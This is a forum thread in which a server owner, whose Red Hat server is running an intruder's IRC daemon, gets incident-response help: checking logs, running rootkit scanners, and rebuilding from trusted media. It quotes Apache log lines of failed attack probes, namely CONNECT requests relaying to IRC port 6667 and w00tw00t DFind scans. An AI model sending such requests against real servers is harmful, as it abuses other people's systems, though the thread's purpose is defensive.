What is the best way to secure httpd?
 

I would like to know what is the best way to secure httpd? I have sometimes IRCD that appear and when i check using netstat - p they are using httpd to run on my server. I want to put an end to this quickly. What is the best method. Will mod security do the trick?

If you are seeing ircd being run by the httpd user, then your machine has likely been compromised. At this point it's important to determine the severity of the compromise and determine how the attacker was able to access the system. Simply re-installing or adding on mod_Security may not help if the vulnerable application is a still present.

First, could you post what distro/version of linux you're using, whether it has been updated fully with security patches, and the output from netstat (netstat -pantu) that made you suspicious. Also please list all web applications that you are using with httpd, such as PHP, bulletin-board apps, CGI/Perl scripts, other apps like awstats, etc.

Second take a look at the httpd logs to see if you can find any URL entries containing bash commands like wget, cd, uname, etc or anything else suspicious. Please post any that you find. Second check /tmp and /var/tmp for any any abnormal files or dirs, especially anything owned by the httpd user. I'd also highly recommend using a tool like rkhunter or chkrootkit to search for the presence of rootkits.

Yeah the person comes online with ircd and for maybe 30 minutes - 1 hour uses ircd and then just sits there on httpd and then if i restart that then it goes away.

I am using Linux ES 4 Redhat. It has been fully updated with all the security through cpanel. I don't see anything running now there after typing the netstat-pantu command. I saw alot of bandwidth being going out of my two servers and then contacted my support tech he told me it was because of irc running and to check using netstat. I am not using any web application the server which was new was online a few hours before being used by irc.

How do i look at the httpd logs?

I got the following from looking at /usr

root@cpanel [/usr]# dir
./ aquota.user* doc/ games/ kerberos/ libexec/ lost+found/ ofed/ sbin/ src/ X11R6/
../ bin/ etc/ include/ lib/ local/ man/ quota.user* share/ tmp@

I got the following from looking at tmp and /var/tmp

/ generic/ nobody-session-0.842404411946521 sess_68d43263b55564197e57bd59b9396c32
../ .ICE-unix/ original.2.6.9-42.0.3.2006-12-2323:23:54.bootdir.backup.gz sess_c08e836dd0ba1ccc181073b8effb1bde
aquota.user* lost+found/ pear/ sess_d35238a33fe340e07420fee2b6a16c98
cpbandwidth/ mysql.sock@ quota.user* sess_d811acaba5edae67779b2a86924609b2

I don't see anything that is abnormal. When i did find out about the ircd thing i logged into the server and found 1-2 txt files and 1-2 with extention c files and deleted those. There was nothing installed by the looks of it and also no signs of really of someone breaking in. I have BSD installed on one server if someone was going to break into it i would have got a email telling me. I also asked my Tech Support if i should reinstall os he said no because it was nothing major.

I think i have solved the problem it might be a SSH issue. My server 1 which is more secure then server 2 has not had any ircd running so far and server 2 got ircd running on it just now and then i restarted httpd and it has gone. I have my ip range set on server 1 for SSH. Do you think there can be any files that i don't know about on the server?

While securing SSHd is important, if the system has already been compromised, then the horses are already out of the barn, figuratively speaking.

Seeing abnormal processes owned by httpd is usually indicative of someone either directly compromising (or abusing) the http service or content that is executed by the httpd process, such as PHP, CGI, etc. Often a vulnerability will allow execution of arbitrary commands, which allows an attacker to upload files or execute commands (such as ircd) with the privileges of the httpd user. This is why you'll find files or processes owned by httpd. Often the next step is to upload exploits to perform a privilege elevation attack (via a local root exploit) to allow the attacker to fully compromise the system. So it's important to determine what has occurred on the system. Alternatively, the server is initially compromised by some other means and the httpd binary replaced by a trojaned version to hide the presence of the intruder.

Yes, it's entirely possible and I don't think that the analysis thus far has in anyway ruled that possibility out yet, so I would consider that machine untrusted until you can be sure it is secure.

If you see more irc traffic or abnormal activity, run that command as root and post the output.

cpanel itself would qualify one. So are you sure no other net-accessible applications have been installed on the system other than httpd and cpanel? What about webcontent? Are there any perl or PHP scripts? Is there anything else but static html pages?


The http logs will be in /var/log/httpd. In particular pay close attention to /var/log/httpd/access_log and /var/log/httpd/error_log including any rotated logs (e.g /var/log/httpd/access_log.1). Also look in the system logs in /var/log, such as /var/log/messages and /var/log/secure. Post any abnormal log entries, include full URL query strings from the web logs.


From now on do not delete anything. Could have been irc logs or exploit tools, makes it much harder to tell once they are gone.

How are you determining that? From my perspective you have taken a very cursory look at the system and it's impossible to determine at this point. In fact what you have posted would indicate that the intruder not only abused the http service, but also had access to the system and uploaded tools. Whether they were exploits or simply cracking tools like eggdrop is unclear.

Assuming that they didn't identify the vulnerable linux server first and then specifically target it rather than the BSD system. Is the BSD system running some sort of IDS?

If he didn't ask you any of the the above questions, then frankly he has no factual basis to make that decision.

Yeah i will try to do that when the traffic is high but it happens very fast and then goes down with irc still running but not taking any bandwidth.

There is nothing i know installed apart from cpanel it was a new server built and put on the network. Whatever came with cpanel thats all it has nothing else this is for the Server 2

I can't find any logs unless i am looking in the wrong place

root@cpanel [/var/log/httpd]# dir
./ ../
root@cpanel [/var/log/httpd]#

Yeah i will do that from now on. The only thing i remember they had was 1-2 txt files and trickscan.c in there that was about it nothing else. I did not find anything installed.

I have my server 1 hacked before with people using scanners and stuff on SSH thats why i decided to limit the SSH to only my ip range and when they did break in they had alot of files installed and also they changed the password. I also had Brute Force Defense installed so i was basically getting emails telling me if someone was trying to get into SSH and i did not recieve anything for Server 1 which had irc running on there but now has stopped after having the SSH limited to my ip range. I am basically determining it on that if the person did have free access he would have changed the password and left alot of tools and programs installed.

Assuming that they didn't identify the vulnerable linux server first and then specifically target it rather than the BSD system. Is the BSD system running some sort of IDS?

What you mean by IDS?

He told me if it was at root level compromise or a very severe hack attempt then i should reinstall OS. I think it most likely was SSH because i haven't had any bandwidth problems today on Server 1 only on Server 2. I think i should reinstall OS on both servers and add IP Range for SSH. What do you think i should do?

Must be a cpanel thing. Check in /usr/local/apache/logs/. If not try running Intrusion Detection System, like Snort or Prelude for example

I installed and ran rkhunter-1.2.9 on a server that was used by the IRCD and i got the following

- GnuPG 1.2.6 [ Old or patched v
- OpenSSL 0.9.7a [ Old or patched v

The two above are in yellow and according to this are Vulnerable applications and the rest are all fine since they are in green. I might be wrong but i think that the ircd was gained access through root and then maybe used through httpd. I'm making this conclusion because this server has had the SSH secured by only allowing my ip range and have not seen IRCD since yesterday and the other server has.

I checked the log file and found this.

64.62.190.36 - - [24/Dec/2006:18:55:59 -0600] "CONNECT 64.62.190.36:6667 HTTP/1.0" 405 307
64.62.190.36 - - [24/Dec/2006:18:55:59 -0600] "POST http://64.62.190.36:6667/ HTTP/1.0" 405 304
209.132.209.54 - - [24/Dec/2006:18:55:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 411
64.62.190.36 - - [24/Dec/2006:18:56:30 -0600] "CONNECT 64.62.190.36:6667 HTTP/1.0" 405 307
64.62.190.36 - - [24/Dec/2006:18:56:30 -0600] "POST http://64.62.190.36:6667/ HTTP/1.0" 405 304

217.174.199.221 - - [25/Dec/2006:14:00:03 -0600] "CONNECT 195.225.204.235:6667 HTTP/1.0" 405 307
217.174.199.221 - - [25/Dec/2006:14:00:03 -0600] "POST http://195.225.204.235:6667/ HTTP/1.0" 405 304
217.174.199.221 - - [25/Dec/2006:14:00:03 -0600] "GET http://vega.epiknet.org/bopmcheck.txt HTTP/1.0" 404 -

I'm not sure all i know is if too many people try to login through SSH it bans them for certain time and emails me the report. I did not recieve anything from the people who were running the IRCD off my server.

Those log messages all appear to have 400 status codes, meaning they failed. Anything in the logs with 200 http status codes ?(look at 2nd to last field in each entry)

Also so you remember where you found the strange files? Who owned them?

They are all 400 could it be that the irc is trying but failing and bouncing back and causing the bandwidth to increase each time? I checked with my bandwidth graph and this was the time it happened and when i checked with netstat it was this wootwoot using irc on httpd.

62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413
62.141.52.232 - - [26/Dec/2006:15:33:59 -0600] "GET /w00tw00t.at.ISC.SANS.DFind) HTTP/1.1" 400 413

I found the files in root directory and there is only root access to the server for SSH and no other access. There are no other users apart from me on this server. There was nothing installed but 1-2 txt files and 1 c file i think that was it nothing else i could find abnormal.

Those URLs are common scans. If you received a lot of those in a short time, it would certainly use up bandwidth. But it doesn't look to be related to the compromise.

Could you explain what you mean in detail? Do you mean the httpd user or the httpd process? What do you mean by irc, the port? Seeing the netstat output would make it more clear, but since you don't have it could you explain exactly what you saw a bit more clearly?

The file you found (trickscan.c) is a port scanning tool commonly used by crackers, so if you found it owned by root in a root directory, then the system was fully compromised and absolutley needs to be rebuilt from trusted media (not from a backup). That being said, it's important to identify how the attacker got access in the first place. Do you have any evidence that the system was accessed by SSH? I saw your other thread about SSH scans, but those types of attacks are usually only successful if you have poor passwords. Did you see anything that indicated a successful login?

BTW, sorry for taking so long to get back to you, but my family and I have been fighting off a stomach virus for the last 3 days.

I checked netstat -p and it had a irc running on the httpd and the log files indicate a fail and thats when it was also consuming the bandwidth.

Yeah it was being used and login through SSH i found the person logged in and he was from a different country. I decided to reinstall both servers and then have an ip range set on both to avoid it being compromised again and it has done the trick both systems are secure for now with just my ip range and no ircd are running or bandwidth levels being high. The passwords are difficult since they have lowercase letters and also highercase and with numbers but without the ip range set it would be easy to break into.

Don't worry about it. I hope you get well and thank you for your help.

Please, please take Capt_Caveman's recommendation seriously! Mere installation of the servers is NOT enough. You can not trust any of the binaries of the compromised server. You can not trust the running kernel. You can not know how many backdoor SSH or other servers the compromised server is running. You can not ease your mind with a single IP range block.

In a nutshell: if root access was gained, you can not trust anything in the compromised system, thereby you should immediately unplug the system from any network activity, be it LAN or WAN, hence avoiding the risk that your system is abusing other systems in the local network or in the internet, make a byte-to-byte copy of the system for later analysis, and reinstall the system from a trusted media.